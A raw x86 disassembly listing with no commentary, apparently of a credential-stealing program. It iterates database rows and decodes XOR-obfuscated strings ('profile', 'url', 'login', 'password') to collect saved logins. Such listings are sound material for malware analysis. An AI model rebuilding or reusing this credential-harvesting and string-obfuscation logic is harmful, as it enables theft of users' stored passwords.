add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42e1bc
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0x444], 0
mov dword [ebp - 0x440], 0xf
mov byte [ebp - 0x454], 0
mov byte [ebp - 4], 0x4f
mov eax, dword [ebp - 0x14]
test eax, 0x80000
je 0x42cc72
mov ecx, dword [ebp - 0x82c]
and eax, 0xfff7ffff
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x42cc57
mov edx, dword [ebp - 0x840]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42cc4a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42e1bc
push ecx
push edx
call fcn.00504f31
mov eax, dword [ebp - 0x14]
add esp, 8
mov dword [ebp - 0x830], 0
mov dword [ebp - 0x82c], 0xf
mov byte [ebp - 0x840], 0
mov byte [ebp - 4], 0x50
test eax, 0x40000
je 0x42cce4
mov ecx, dword [ebp - 0x470]
and eax, 0xfffbffff
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x42ccc9
mov edx, dword [ebp - 0x484]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42ccbc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42e1bc
push ecx
push edx
call fcn.00504f31
mov eax, dword [ebp - 0x14]
add esp, 8
mov dword [ebp - 0x474], 0
mov dword [ebp - 0x470], 0xf
mov byte [ebp - 0x484], 0
mov byte [ebp - 4], 0x51
test eax, 0x20000
je 0x42cd53
mov ecx, dword [ebp - 0x674]
and eax, 0xfffdffff
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x42cd38
mov edx, dword [ebp - 0x688]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42cd2e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42e1bc
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0x678], 0
mov dword [ebp - 0x674], 0xf
mov byte [ebp - 0x688], 0
cmp dword [ebp - 0x244], 0x10
lea ecx, [ebp - 0x258]
lea edx, [ebp - 0x40]
cmovae ecx, dword [ebp - 0x258]
call fcn.0041ac90
test eax, eax
jne 0x42de7b
movaps xmm0, xmmword [0x551970]
xor ecx, ecx
movups xmmword [ebp - 0x923], xmm0
mov dword [ebp - 0x8e3], 0x9ed1bda0
movaps xmm0, xmmword [0x5516b0]
movups xmmword [ebp - 0x913], xmm0
mov dword [ebp - 0x8df], 0x989c939c
movaps xmm0, xmmword [0x551520]
movups xmmword [ebp - 0x903], xmm0
mov byte [ebp - 0x8db], 0x84
movaps xmm0, xmmword [0x5516f0]
movups xmmword [ebp - 0x8f3], xmm0
mov dword [ebp - 0x8ca], eax
xorps xmm0, xmm0
mov word [ebp - 0x8c6], ax
movups xmmword [ebp - 0x8da], xmm0
mov byte [ebp - 0x8c4], al
nop dword [eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x923], al
inc ecx
cmp ecx, 0x49
jb 0x42cdf0
mov dword [0x565580], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x923]
mov byte [ebp - 0x8da], 0
movups xmmword [ebp - 0x5c8], xmm0
mov dword [ebp - 0x5b8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x5b4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42ce35
sub ecx, edx
lea eax, [ebp - 0x923]
push ecx
push eax
lea ecx, [ebp - 0x5c8]
call fcn.00402c40
mov edx, dword [ebp - 0x5b4]
lea esi, [ebp - 0x5c8]
mov ecx, dword [ebp - 0x5c8]
cmp edx, 0x10
setae al
cmovae esi, ecx
test al, al
je 0x42ce99
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x42ce8f
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42e1bc
push edx
push ecx
call fcn.00504f31
add esp, 8
mov ecx, dword [ebp - 0x40]
lea eax, [ebp - 0x48]
push 0
push eax
push 0
push 1
push 0xffffffffffffffff
mov edx, esi
mov dword [ebp - 0x5b8], 0
mov dword [ebp - 0x5b4], 0xf
mov byte [ebp - 0x5c8], 0
call fcn.004ea640
add esp, 0x14
test eax, eax
jne 0x42de73
mov esi, dword [ebp - 0x48]
mov ecx, esi
call fcn.004c6eb0
cmp eax, 0x64
jne 0x42ddf7
test esi, esi
je 0x42cf3d
cmp dword [esi + 0x2c], 0
je 0x42cf18
mov eax, 2
cmp ax, word [esi + 0x30]
jae 0x42cf18
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x42cf10
push eax
call dword [0x562d18]
add esp, 4
mov ecx, dword [esi + 0x2c]
add ecx, 0x50
jmp 0x42cf42
mov eax, dword [esi]
test eax, eax
je 0x42cf3d
mov eax, dword [eax + 0x44]
test eax, eax
je 0x42cf2f
push eax
call dword [0x562d18]
add esp, 4
push 0
push 0x19
push dword [esi]
call fcn.004b5810
add esp, 0xc
mov ecx, 0x54a500
mov dl, 1
call fcn.004c3d20
mov dword [ebp - 0x28], eax
test esi, esi
je 0x42cf9f
mov edi, dword [esi]
mov ecx, dword [esi + 0x64]
test edi, edi
je 0x42cf82
cmp byte [edi + 0x1e], 0
jne 0x42cf67
cmp ecx, 0xc0a
jne 0x42cf7d
push 0
push 7
push edi
call fcn.004b5810
add esp, 0xc
mov byte [edi + 0x1e], 0
mov ecx, 7
mov eax, dword [edi + 0x18]
jmp 0x42cf87
mov eax, 0xff
and ecx, eax
mov dword [esi + 0x64], ecx
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x42cf9f
push eax
call dword [0x562d20]
add esp, 4
mov edx, 3
mov ecx, esi
call fcn.004c74b0
mov edx, 3
mov dword [ebp - 0x68], eax
mov ecx, esi
call fcn.004c75a0
mov dword [ebp - 0x20], eax
test esi, esi
je 0x42d00c
cmp dword [esi + 0x2c], 0
je 0x42cfe7
xor eax, eax
cmp ax, word [esi + 0x30]
jae 0x42cfe7
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x42cfe2
push eax
call dword [0x562d18]
add esp, 4
mov ecx, dword [esi + 0x2c]
jmp 0x42d011
mov eax, dword [esi]
test eax, eax
je 0x42d00c
mov eax, dword [eax + 0x44]
test eax, eax
je 0x42cffe
push eax
call dword [0x562d18]
add esp, 4
push 0
push 0x19
push dword [esi]
call fcn.004b5810
add esp, 0xc
mov ecx, 0x54a500
mov dl, 1
call fcn.004c3d20
mov dword [ebp - 0x30], eax
test esi, esi
je 0x42d06e
mov edi, dword [esi]
mov ecx, dword [esi + 0x64]
test edi, edi
je 0x42d051
cmp byte [edi + 0x1e], 0
jne 0x42d036
cmp ecx, 0xc0a
jne 0x42d04c
push 0
push 7
push edi
call fcn.004b5810
add esp, 0xc
mov byte [edi + 0x1e], 0
mov ecx, 7
mov eax, dword [edi + 0x18]
jmp 0x42d056
mov eax, 0xff
and ecx, eax
mov dword [esi + 0x64], ecx
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x42d06e
push eax
call dword [0x562d20]
add esp, 4
mov ecx, dword [ebp - 0x30]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42d074
sub ecx, edx
jne 0x42d139
test esi, esi
je 0x42d0d7
cmp dword [esi + 0x2c], ecx
je 0x42d0b2
mov eax, 1
cmp ax, word [esi + 0x30]
jae 0x42d0b2
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x42d0aa
push eax
call dword [0x562d18]
add esp, 4
mov ecx, dword [esi + 0x2c]
add ecx, 0x28
jmp 0x42d0dc
mov eax, dword [esi]
test eax, eax
je 0x42d0d7
mov eax, dword [eax + 0x44]
test eax, eax
je 0x42d0c9
push eax
call dword [0x562d18]
add esp, 4
push 0
push 0x19
push dword [esi]
call fcn.004b5810
add esp, 0xc
mov ecx, 0x54a500
mov dl, 1
call fcn.004c3d20
mov dword [ebp - 0x30], eax
test esi, esi
je 0x42d139
mov edi, dword [esi]
mov ecx, dword [esi + 0x64]
test edi, edi
je 0x42d11c
cmp byte [edi + 0x1e], 0
jne 0x42d101
cmp ecx, 0xc0a
jne 0x42d117
push 0
push 7
push edi
call fcn.004b5810
add esp, 0xc
mov byte [edi + 0x1e], 0
mov ecx, 7
mov eax, dword [edi + 0x18]
jmp 0x42d121
mov eax, 0xff
and eax, ecx
mov dword [esi + 0x64], eax
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x42d139
push eax
call dword [0x562d20]
add esp, 4
xorps xmm0, xmm0
mov dword [ebp - 0x45c], 0
movups xmmword [ebp - 0x46c], xmm0
mov dword [ebp - 0x458], 0xf
mov byte [ebp - 0x46c], 0
mov esi, dword [ebp - 0x68]
lea ecx, [ebp - 0x5e0]
mov byte [ebp - 4], 0x52
push dword [ebp - 0x20]
movups xmmword [ebp - 0x5e0], xmm0
push esi
mov dword [ebp - 0x5d0], 0
mov dword [ebp - 0x5cc], 0
call fcn.00402c40
cmp byte [ebp - 0x29], 0
mov byte [ebp - 4], 0x53
je 0x42d337
xorps xmm0, xmm0
mov word [ebp - 0x54d], 0x81d9
mov byte [ebp - 0x54b], 0x81
xor ecx, ecx
movups xmmword [ebp - 0x54a], xmm0
mov dword [ebp - 0x53a], 0
mov word [ebp - 0x536], 0
mov byte [ebp - 0x534], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x54d], al
inc ecx
cmp ecx, 3
jb 0x42d1d3
mov dword [0x565590], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x54d]
mov byte [ebp - 0x54a], 0
movups xmmword [ebp - 0x4b4], xmm0
mov dword [ebp - 0x4a4], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x4a0], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42d218
sub ecx, edx
lea eax, [ebp - 0x54d]
push ecx
push eax
lea ecx, [ebp - 0x4b4]
call fcn.00402c40
mov eax, dword [ebp - 0x14]
or eax, 0x8000000
or eax, 0x100000
mov byte [ebp - 4], 0x54
cmp dword [ebp - 0x4a0], 0x10
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x4b4]
cmovae eax, dword [ebp - 0x4b4]
push eax
push esi
call fcn.00506580
add esp, 8
test eax, eax
jne 0x42d331
xorps xmm0, xmm0
mov word [ebp - 0x533], 0x81d9
mov byte [ebp - 0x531], 0x80
xor ecx, ecx
movups xmmword [ebp - 0x530], xmm0
mov dword [ebp - 0x520], eax
mov word [ebp - 0x51c], ax
mov byte [ebp - 0x51a], al
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x533], al
inc ecx
cmp ecx, 3
jb 0x42d2a0
mov dword [0x565590], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x533]
mov byte [ebp - 0x530], 0
movups xmmword [ebp - 0x49c], xmm0
mov dword [ebp - 0x48c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x488], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42d2e5
sub ecx, edx
lea eax, [ebp - 0x533]
push ecx
push eax
lea ecx, [ebp - 0x49c]
call fcn.00402c40
mov eax, dword [ebp - 0x14]
or eax, 0x200000
cmp dword [ebp - 0x488], 0x10
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x49c]
cmovae eax, dword [ebp - 0x49c]
push eax
push esi
call fcn.00506580
add esp, 8
test eax, eax
je 0x42d337
mov byte [ebp - 0x15], 1
jmp 0x42d33b
mov byte [ebp - 0x15], 0
mov eax, dword [ebp - 0x14]
test eax, 0x200000
je 0x42d3ac
mov ecx, dword [ebp - 0x488]
and eax, 0xffdfffff
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x42d391
mov edx, dword [ebp - 0x49c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42d384
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42e1bc
push ecx
push edx
call fcn.00504f31
mov eax, dword [ebp - 0x14]
add esp, 8
mov dword [ebp - 0x48c], 0
mov dword [ebp - 0x488], 0xf
mov byte [ebp - 0x49c], 0
mov dword [ebp - 4], 0x53
test eax, 0x100000
je 0x42d41e
mov ecx, dword [ebp - 0x4a0]
and eax, 0xffefffff
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x42d403
mov edx, dword [ebp - 0x4b4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42d3f9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42e1bc
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0x4a4], 0
mov dword [ebp - 0x4a0], 0xf
mov byte [ebp - 0x4b4], 0
cmp byte [ebp - 0x15], 0
je 0x42d466
sub esp, 0x18
lea eax, [ebp - 0x5e0]
mov ecx, esp
mov dword [ebp - 0x4fc], esp
push eax
call fcn.0048ccc0
sub esp, 0x18
mov byte [ebp - 4], 0x55
lea eax, [ebp - 0x1e8]
mov ecx, esp
push eax
call fcn.0048ccc0
xor dl, dl
mov byte [ebp - 4], 0x53
lea ecx, [ebp - 0x46c]
call fcn.004296a0
add esp, 0x30
jmp 0x42d477
push ecx
lea edx, [ebp - 0x46c]
mov ecx, esi
call fcn.00429570
add esp, 4
mov byte [ebp - 4], 0x56
lea ecx, [ebp - 0x4d8]
push 0
mov byte [ebp - 0x4e0], 0
call fcn.0048e6c0
mov eax, dword [ebp - 0x24]
xorps xmm0, xmm0
mov byte [ebp - 4], 0x57
push 0x18
mov dword [ebp - 0x276], 0xd4dec2df
lea ecx, [eax + eax*2]
mov word [ebp - 0x272], 0xd8da
mov eax, dword [ebp - 0x3c]
mov byte [ebp - 0x270], 0xd0
movups xmmword [ebp - 0x26f], xmm0
mov dword [ebp - 0x25f], 0
mov word [ebp - 0x25b], 0
lea esi, [eax + ecx*8]
mov byte [ebp - 0x259], 0
movq qword [ebp - 0x88], xmm0
mov byte [ebp - 0x90], 3
call fcn.00504cb0
lea ecx, [ebp - 0x61]
mov dword [ebp - 0x4f4], eax
add esp, 4
mov dword [ebp - 0x4f8], ecx
push esi
mov ecx, eax
mov byte [ebp - 4], 0x58
call fcn.0048ccc0
mov eax, dword [ebp - 0x4f4]
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x4f4], 0
mov dword [ebp - 0x84], eax
mov byte [ebp - 4], 0x59
xor ecx, ecx
nop word [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x276], al
inc ecx
cmp ecx, 7
jb 0x42d540
mov dword [0x565560], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x276]
mov byte [ebp - 0x26f], 0
movups xmmword [ebp - 0x348], xmm0
mov dword [ebp - 0x338], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x334], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42d585
sub ecx, edx
lea eax, [ebp - 0x276]
push ecx
push eax
lea ecx, [ebp - 0x348]
call fcn.00402c40
mov eax, dword [ebp - 0x14]
or eax, 0x4000000
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x5a
lea eax, [ebp - 0x348]
cmp dword [ebp - 0x334], 0x10
lea ecx, [ebp - 0x4e0]
cmovae eax, dword [ebp - 0x348]
push eax
call fcn.00490ca0
mov edi, eax
mov dl, byte [edi]
mov cl, byte [ebp - 0x90]
mov byte [edi], cl
mov ecx, dword [ebp - 0x84]
mov eax, dword [ebp - 0x88]
mov byte [ebp - 0x90], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x90]
mov dword [ebp - 0x88], edx
mov dword [ebp - 0x84], esi
call fcn.0048a7b0
mov byte [ebp - 4], 0x57
mov ecx, dword [ebp - 0x334]
cmp ecx, 0x10
jb 0x42d652
mov edx, dword [ebp - 0x348]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42d648
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42e1bc
push ecx
push edx
call fcn.00504f31
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x338], 0
push 0x18
mov dword [ebp - 0x334], 0xf
mov byte [ebp - 0x348], 0
mov word [ebp - 0x567], 0xc2da
mov byte [ebp - 0x565], 0xdd
movups xmmword [ebp - 0x564], xmm0
mov dword [ebp - 0x554], 0
mov word [ebp - 0x550], 0
mov byte [ebp - 0x54e], 0
movq qword [ebp - 0xd0], xmm0
mov byte [ebp - 0xd8], 3
call fcn.00504cb0
mov edx, eax
add esp, 4
lea eax, [ebp - 0x62]
mov dword [ebp - 0x4ec], edx
mov dword [ebp - 0x4f0], eax
mov edi, dword [ebp - 0x30]
xorps xmm0, xmm0
mov byte [ebp - 4], 0x5c
mov ecx, edi
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
lea esi, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42d6f0
sub ecx, esi
push ecx
push edi
mov ecx, edx
call fcn.00402c40
mov eax, dword [ebp - 0x4ec]
mov dword [ebp - 0x4ec], 0
mov dword [ebp - 0xd0], eax
mov byte [ebp - 4], 0x5d
xor ecx, ecx
nop
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x567], al
inc ecx
cmp ecx, 3
jb 0x42d720
mov dword [0x565590], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x567]
mov byte [ebp - 0x564], 0
movups xmmword [ebp - 0x360], xmm0
mov dword [ebp - 0x350], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x34c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42d765
sub ecx, edx
lea eax, [ebp - 0x567]
push ecx
push eax
lea ecx, [ebp - 0x360]
call fcn.00402c40
mov eax, dword [ebp - 0x14]
or eax, 0x2000000
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x5e
lea eax, [ebp - 0x360]
cmp dword [ebp - 0x34c], 0x10
lea ecx, [ebp - 0x4e0]
cmovae eax, dword [ebp - 0x360]
push eax
call fcn.00490ca0
mov edi, eax
mov dl, byte [edi]
mov cl, byte [ebp - 0xd8]
mov byte [edi], cl
mov ecx, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xd0]
mov byte [ebp - 0xd8], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0xd8]
mov dword [ebp - 0xd0], edx
mov dword [ebp - 0xcc], esi
call fcn.0048a7b0
mov byte [ebp - 4], 0x57
mov ecx, dword [ebp - 0x34c]
cmp ecx, 0x10
jb 0x42d832
mov edx, dword [ebp - 0x360]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42d828
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42e1bc
push ecx
push edx
call fcn.00504f31
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x350], 0
push 0x18
mov dword [ebp - 0x34c], 0xf
mov byte [ebp - 0x360], 0
mov dword [ebp - 0x3f4], 0xdbd6dfc3
mov byte [ebp - 0x3f0], 0xdd
movups xmmword [ebp - 0x3ef], xmm0
mov dword [ebp - 0x3df], 0
mov word [ebp - 0x3db], 0
mov byte [ebp - 0x3d9], 0
movq qword [ebp - 0xe0], xmm0
mov byte [ebp - 0xe8], 3
call fcn.00504cb0
mov edx, eax
add esp, 4
lea eax, [ebp - 0x63]
mov dword [ebp - 0x4e4], edx
mov dword [ebp - 0x4e8], eax
mov edi, dword [ebp - 0x28]
xorps xmm0, xmm0
mov byte [ebp - 4], 0x60
mov ecx, edi
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42d8d0
sub ecx, esi
push ecx
push edi
mov ecx, edx
call fcn.00402c40
mov eax, dword [ebp - 0x4e4]
mov dword [ebp - 0x4e4], 0
mov dword [ebp - 0xe0], eax
mov byte [ebp - 4], 0x61
xor ecx, ecx
nop
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x3f4], al
inc ecx
cmp ecx, 5
jb 0x42d900
mov dword [0x565544], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x3f4]
mov byte [ebp - 0x3ef], 0
movups xmmword [ebp - 0x378], xmm0
mov dword [ebp - 0x368], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x364], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42d945
sub ecx, edx
lea eax, [ebp - 0x3f4]
push ecx
push eax
lea ecx, [ebp - 0x378]
call fcn.00402c40
mov eax, dword [ebp - 0x14]
or eax, 0x1000000
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x62
lea eax, [ebp - 0x378]
cmp dword [ebp - 0x364], 0x10
lea ecx, [ebp - 0x4e0]
cmovae eax, dword [ebp - 0x378]
push eax
call fcn.00490ca0
mov edi, eax
mov dl, byte [edi]
mov cl, byte [ebp - 0xe8]
mov byte [edi], cl
mov ecx, dword [ebp - 0xdc]
mov eax, dword [ebp - 0xe0]
mov byte [ebp - 0xe8], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0xe8]
mov dword [ebp - 0xe0], edx
mov dword [ebp - 0xdc], esi
call fcn.0048a7b0
mov byte [ebp - 4], 0x57
mov ecx, dword [ebp - 0x364]
cmp ecx, 0x10
jb 0x42da12
mov edx, dword [ebp - 0x378]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42da08
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42e1bc
push ecx
push edx
call fcn.00504f31
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x368], 0
push 0x18
mov dword [ebp - 0x364], 0xf
mov byte [ebp - 0x378], 0
mov dword [ebp - 0x207], 0xc1c2d1df
mov dword [ebp - 0x203], 0xd2c7dbc4
movups xmmword [ebp - 0x1ff], xmm0
mov dword [ebp - 0x1ef], 0
mov word [ebp - 0x1eb], 0
mov byte [ebp - 0x1e9], 0
movq qword [ebp - 0x98], xmm0
mov byte [ebp - 0xa0], 3
call fcn.00504cb0
lea ecx, [ebp - 0x64]
mov dword [ebp - 0x7c], eax
add esp, 4
mov dword [ebp - 0x80], ecx
lea ecx, [ebp - 0x46c]
mov byte [ebp - 4], 0x64
push ecx
mov ecx, eax
call fcn.0048ccc0
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x94], eax
mov byte [ebp - 4], 0x65
xor ecx, ecx
nop dword [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x207], al
inc ecx
cmp ecx, 8
jb 0x42dac0
mov dword [0x565624], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x207]
mov byte [ebp - 0x1ff], 0
movups xmmword [ebp - 0x390], xmm0
mov dword [ebp - 0x380], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x37c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42db05
sub ecx, edx
lea eax, [ebp - 0x207]
push ecx
push eax
lea ecx, [ebp - 0x390]
call fcn.00402c40
mov eax, dword [ebp - 0x14]
or eax, 0x800000
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x66
lea eax, [ebp - 0x390]
cmp dword [ebp - 0x37c], 0x10
lea ecx, [ebp - 0x4e0]
cmovae eax, dword [ebp - 0x390]
push eax
call fcn.00490ca0
mov edi, eax
mov dl, byte [edi]
mov cl, byte [ebp - 0xa0]
mov byte [edi], cl
mov ecx, dword [ebp - 0x94]
mov eax, dword [ebp - 0x98]
mov byte [ebp - 0xa0], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0x98], edx
mov dword [ebp - 0x94], esi
call fcn.0048a7b0
mov byte [ebp - 4], 0x57
mov ecx, dword [ebp - 0x37c]
cmp ecx, 0x10
jb 0x42dbd2
mov edx, dword [ebp - 0x390]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42dbc8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42e1bc
push ecx
push edx
call fcn.00504f31
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x380], 0
mov dword [ebp - 0x37c], 0xf
xor ecx, ecx
mov byte [ebp - 0x390], 0
mov dword [ebp - 0x293], 0xdbd6dfc3
mov word [ebp - 0x28f], 0xc7dd
movups xmmword [ebp - 0x28d], xmm0
mov dword [ebp - 0x27d], 0
mov word [ebp - 0x279], 0
mov byte [ebp - 0x277], 0
nop word [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x293], al
inc ecx
cmp ecx, 6
jb 0x42dc30
mov dword [0x565548], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x293]
mov byte [ebp - 0x28d], 0
movups xmmword [ebp - 0x3a8], xmm0
mov dword [ebp - 0x398], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x394], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42dc75
sub ecx, edx
lea eax, [ebp - 0x293]
push ecx
push eax
lea ecx, [ebp - 0x3a8]
call fcn.00402c40
mov eax, dword [ebp - 0x14]
or eax, 0x400000
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x68
lea eax, [ebp - 0x3a8]
cmp dword [ebp - 0x394], 0x10
mov ecx, dword [ebp - 0x78]
cmovae eax, dword [ebp - 0x3a8]
push eax
call fcn.00490ca0
lea ecx, [ebp - 0x4e0]
push ecx
mov ecx, eax
call fcn.0048a140
mov byte [ebp - 4], 0x57
mov ecx, dword [ebp - 0x394]
cmp ecx, 0x10
jb 0x42dd0c
mov edx, dword [ebp - 0x3a8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42dd02
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42e1bc
push ecx
push edx
call fcn.00504f31
add esp, 8
lea ecx, [ebp - 0x4e0]
mov dword [ebp - 0x398], 0
mov dword [ebp - 0x394], 0xf
mov byte [ebp - 0x3a8], 0
call fcn.0048a7b0
mov byte [ebp - 4], 0x52
mov ecx, dword [ebp - 0x5cc]
cmp ecx, 0x10
jb 0x42dd70
mov edx, dword [ebp - 0x5e0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42dd66
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42e1bc
push ecx
push edx
call fcn.00504f31
add esp, 8
mov byte [ebp - 4], 0x51
mov ecx, dword [ebp - 0x458]
mov dword [ebp - 0x5d0], 0
mov dword [ebp - 0x5cc], 0xf
mov byte [ebp - 0x5e0], 0
cmp ecx, 0x10
jb 0x42ddc9
mov edx, dword [ebp - 0x46c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42ddbf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42e1bc
push ecx
push edx
call fcn.00504f31
add esp, 8
mov esi, dword [ebp - 0x48]
mov ecx, esi
mov dword [ebp - 0x45c], 0
mov dword [ebp - 0x458], 0xf
mov byte [ebp - 0x46c], 0
call fcn.004c6eb0
cmp eax, 0x64
je 0x42cee8
test esi, esi
je 0x42de73
mov edi, dword [esi]
mov eax, dword [edi + 0x44]
mov dword [ebp - 0x20], eax
test eax, eax
je 0x42de15
push eax
call dword [0x562d18]
add esp, 4
mov eax, dword [esi + 0x50]
mov dword [ebp - 0x28], 0
cmp eax, 0xbdf20da3
je 0x42de2d
cmp eax, 0x519c2973
jne 0x42de37
mov ecx, esi
call fcn.004c5c80
mov dword [ebp - 0x28], eax
mov ecx, esi
call fcn.004c5e90
test edi, edi
je 0x42de62
cmp byte [edi + 0x1e], 0
jne 0x42de51
cmp dword [ebp - 0x28], 0xc0a
jne 0x42de62
push 0
push 7
push edi
call fcn.004b5810
add esp, 0xc
mov byte [edi + 0x1e], 0
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x42de73
push eax
call dword [0x562d20]
add esp, 4
mov ecx, dword [ebp - 0x40]
call fcn.0041b210
mov byte [ebp - 4], 0x3d
mov ecx, dword [ebp - 0x244]
cmp ecx, 0x10
